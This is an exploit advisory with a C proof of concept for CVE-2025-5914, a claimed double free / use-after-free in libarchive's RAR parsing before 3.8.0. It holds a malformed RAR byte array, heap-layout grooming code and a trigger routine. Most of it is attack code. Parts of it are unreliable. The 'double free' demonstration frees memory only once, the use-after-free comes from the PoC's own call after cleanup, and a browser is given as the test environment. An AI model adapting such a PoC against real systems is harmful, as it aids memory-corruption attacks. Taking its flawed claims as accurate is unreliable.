============================================================================================================================================= | # Title : libarchive RAR < 3.8.0 Parsing Double Free / Use-After-Free | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://github.com/libarchive/ | ============================================================================================================================================= [+] References : [+] Summary : This proof of concept demonstrates a memory management flaw in vulnerable versions of libarchive (< 3.8.0) when handling malformed RAR headers. By supplying a corrupted RAR structure, the code forces error paths during archive parsing, leading to improper cleanup. As a result, the archive object may be freed and then accessed again, triggering a use‑after‑free and, in certain builds, a double free condition. The PoC is intended for diagnostic and educational purposes, typically observable through memory analysis tools such as Valgrind or AddressSanitizer, and does not constitute a reliable exploit. [+] POC : #include #include #include #include #include #include const unsigned char MALICIOUS_RAR[] = { 0x52, 0x61, 0x72, 0x21, 0x1A, 0x07, 0x00, 0xE6, 0xD5, 0x73, 0x80, 0x00, 0x1A, 0x00, 0xFF, 0xFF, 0x00, 0x90, 0x1F, 0x00, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41 }; void setup_heap_layout() { printf("[+] Setting up heap layout...\n"); void *chunks[10]; for (int i = 0; i < 10; i++) { chunks[i] = malloc(1024); if (chunks[i]) { memset(chunks[i], 'A', 1024); } } for (int i = 1; i < 10; i += 2) { free(chunks[i]); } printf("[+] Heap layout prepared\n"); } int trigger_vulnerability() { struct archive *a = NULL; struct archive_entry *entry = NULL; int r; size_t buf_size = sizeof(MALICIOUS_RAR); uint8_t *buffer = (uint8_t *)malloc(buf_size); if (!buffer) { fprintf(stderr, "[-] Failed to allocate buffer\n"); return 1; } memcpy(buffer, MALICIOUS_RAR, buf_size); a = archive_read_new(); if (!a) { fprintf(stderr, "[-] Failed to create archive object\n"); free(buffer); return 1; } printf("[+] Archive object created: %p\n", (void*)a); r = archive_read_support_format_rar(a); if (r != ARCHIVE_OK) { printf("[-] RAR format not supported, trying all formats\n"); r = archive_read_support_format_all(a); } if (r != ARCHIVE_OK) { fprintf(stderr, "[-] Failed to enable RAR support\n"); archive_read_free(a); free(buffer); return 1; } printf("[+] Opening archive from memory (buffer: %p, size: %zu)\n", (void*)buffer, buf_size); r = archive_read_open_memory(a, buffer, buf_size); if (r != ARCHIVE_OK) { fprintf(stderr, "[-] archive_read_open_memory failed: %d\n", r); fprintf(stderr, "Error: %s\n", archive_error_string(a)); } printf("[+] Attempting to read header...\n"); r = archive_read_next_header(a, &entry); if (r == ARCHIVE_OK) { printf("[+] Header read successfully (unexpected!)\n"); const char *pathname = archive_entry_pathname(entry); printf("Entry: %s\n", pathname ? pathname : "(null)"); } else { printf("[-] Header read failed as expected: %s\n", archive_error_string(a)); } if (r == ARCHIVE_OK) { printf("[+] Attempting to skip data...\n"); r = archive_read_data_skip(a); if (r != ARCHIVE_OK) { printf("[-] Data skip failed: %s\n", archive_error_string(a)); } } printf("[+] First cleanup (this should free the archive object)\n"); r = archive_read_finish(a); printf("archive_read_finish returned: %d\n", r); printf("[+] Attempting to use archive object after cleanup...\n"); printf("Archive pointer: %p\n", (void*)a); const char *err = archive_error_string(a); printf("Error string (after free): %s\n", err ? err : "(null)"); free(buffer); return 0; } void demonstrate_heap_corruption() { printf("\n[+] Demonstrating heap corruption...\n"); void *chunk1 = malloc(256); void *chunk2 = malloc(256); void *chunk3 = malloc(256); printf("Allocated chunks: %p, %p, %p\n", chunk1, chunk2, chunk3); if (chunk1) memset(chunk1, 'B', 256); if (chunk2) memset(chunk2, 'C', 256); if (chunk3) memset(chunk3, 'D', 256); printf("[+] Simulating double free...\n"); if (chunk2) { free(chunk2); } printf("[+] Heap operations completed\n"); } int main(int argc, char *argv[]) { printf("[+] CVE-2025-5914 - libarchive RAR Double Free PoC\n"); printf("[+] Target: libarchive < 3.8.0\n"); printf("[+] Architecture: %s\n", "x86_64" "unknown" ); printf("[+] libarchive version: %s\n", archive_version_details()); setup_heap_layout(); printf("\n[+] Triggering vulnerability...\n"); int result = trigger_vulnerability(); demonstrate_heap_corruption(); printf("\n[+] PoC completed\n"); printf("[+] Expected result: Double free detected by Valgrind\n"); printf("[+] Look for 'Invalid read' and 'free'd' messages in Valgrind output\n"); return result; } Greetings to :============================================================ jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*| ==========================================================================